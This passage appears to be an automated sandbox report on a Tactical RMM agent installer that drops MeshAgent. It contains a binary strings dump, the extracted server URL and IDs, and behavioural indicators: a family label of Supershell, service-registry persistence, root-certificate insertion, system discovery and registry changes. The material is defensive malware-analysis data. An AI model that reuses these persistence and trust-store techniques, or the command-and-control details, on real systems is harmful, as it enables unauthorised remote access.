CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateJobObjectWCreateNamedPipeWCreateSolidBrushCryptProtectDataCryptQueryObjectDefineDosDeviceWDelayedAutoStartDispatchMessageWDnsNameCompare_WDuplicateTokenExDwmDefWindowProcDwmRenderGestureDwmTetherContactEnabling ping...EnumChildWindowsEventMessageFileEvery other weekFRAME_SIZE_ERRORFile Not Found: FindFirstStreamWFindFirstVolumeWFlushFileBuffersGC scavenge waitGC worker (idle)GODEBUG: value "GdipDisposeImageGetAsyncKeyStateGetClassLongPtrWGetClipboardDataGetComputerNameWGetConsoleWindowGetCurrentActCtxGetCurrentThreadGetDesktopWindowGetFullPathNameWGetGUIThreadInfoGetKeyboardStateGetLogicalDrivesGetLongPathNameWGetMenuItemCountGetMenuItemInfoWGetModuleHandleWGetNamedPipeInfoGetOpenFileNameWGetPriorityClassGetSaveFileNameWGetSysColorBrushGetSystemMetricsHiberbootEnabledImageList_CreateImageList_RemoveImperial_AramaicInstRuneAnyNotNLIsDialogMessageWMapVirtualKeyExWMeroitic_CursiveMissing new_nameMissing old_nameMonitorFromPointMultiple ChoicesNATS reconnectedNatsPingIntervalNatsStandardPortNetApiBufferFreeNetLocalGroupAddNetLocalGroupDelNtSuspendProcessOpenProcessTokenOther_AlphabeticPayment RequiredProxy-ConnectionRCodeFormatErrorRead after CloseRegQueryInfoKeyWRegQueryValueExWRegisterClassExWRegistrationInfoRemoveDirectoryWRtlGetCurrentPebSETTINGS_TIMEOUTSHA-512-256-sessSafeArrayDestroySeDebugPrivilegeSetClassLongPtrWSetClipboardDataSetDllDirectoryWSetEntriesInAclWSetFilePointerExSetFileValidDataSetMenuItemInfoWSetPriorityClassSetServiceStatusSignatureScheme(System32\cmd.exeTactical RMM v%sTerminateProcessTrackPopupMenuExTranslateMessageUnregisterClassWUpgrade RequiredUse a http proxyUser-Agent: %s VirtualProtectExWWW-AuthenticateWinVerifyTrustExWorkingDirectoryWww-AuthenticateZanabazar_Square runtime stack:
Extracted
-
meshagent
-
2
-
TacticalRMM
-
http://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
-
mesh_id
0x841F73B273680CE972E11DE4D9D860D4133570D0EF3A311AF0D1771A0BBA5B35A9BF1E3D443531CDC25CC082246639BE
-
server_id
4A595DA5DCFB8F4667B26A40509C81FFD5CC8C6E5173C8B4599AC0EDAD4DE774F0BA8F55C6AA291179B45E62FBE4AD3F
-
wss
wss://mastiffsystemsmesh.mytrmm.com:443/agent.ashx
Signatures
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Detects MeshAgent payload 1 IoCs
resource yara_rule behavioral2/files/0x000f00000001c531-26.dat family_meshagent - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" " meshagent.exe - Executes dropped EXE 8 IoCs
pid Process 1156 tacticalagent-v2.11.0-windows-amd64.exe 4708 tacticalagent-v2.11.0-windows-amd64.tmp 2488 tacticalrmm.exe 6056 tacticalrmm.exe 4808 meshagent.exe 256 MeshAgent.exe 5100 MeshAgent.exe 5156 MeshAgent.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\shcore.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\3375EF9E1C7B585F908BF63340F43DBADB90F7F8 MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\System32\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ncrypt.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\C7C44585184132157B989AB092C835B2F476FAFD MeshAgent.exe File opened for modification C:\Windows\System32\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\apphelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\D80B535F8E2F00A4784BE02EA2D17ED952F2AB3F MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\apphelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\dbghelp.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\9E521B0C88584DE0E626ABE8F3734FB19E826C18 MeshAgent.exe File opened for modification C:\Windows\System32\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\crypt32.pdb MeshAgent.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Mesh Agent\ntasn1.pdb MeshAgent.exe File created C:\Program Files\Mesh Agent\MeshAgent.exe meshagent.exe File opened for modification C:\Program Files\Mesh Agent\ntdll.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\bcrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\imm32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\bcryptprimitives.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\is-QUHQ6.tmp tacticalagent-v2.11.0-windows-amd64.tmp File opened for modification C:\Program Files\TacticalAgent\unins000.dat tacticalagent-v2.11.0-windows-amd64.tmp File opened for modification C:\Program Files\Mesh Agent\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Program Files\TacticalAgent\agent.log tacticalrmm.exe File created C:\Program Files\Mesh Agent\MeshAgent.db MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\kernelbase.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\imm32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\user32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\bcrypt.pdb MeshAgent.exe File created C:\Program Files\TacticalAgent\unins000.dat tacticalagent-v2.11.0-windows-amd64.tmp File created C:\Program Files\Mesh Agent\MeshAgent.db.tmp MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdi32full.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ole32.pdb MeshAgent.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_3r24pcgt.iku.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ds2hykzq.u51.psm1 powershell.exe -
pid Process 3776 powershell.exe - Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 tacticalrmm.exe - System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language tacticalagent-v2.11.0-windows-amd64.tmp - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5788 cmd.exe 4332 PING.EXE - Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
resource yara_rule behavioral2/files/0x000e00000001c530-2.dat innosetup behavioral2/memory/1156-4-0x0000000000BC0000-0x0000000000CA2000-memory.dmp innosetup behavioral2/memory/1156-22-0x0000000000BC0000-0x0000000000CA2000-memory.dmp innosetup - Kills process with taskkill 1 IoCs
pid Process 3768 taskkill.exe - Modifies data under HKEY_USERS 56 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MeshAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry MeshAgent.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283470747219615" MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created 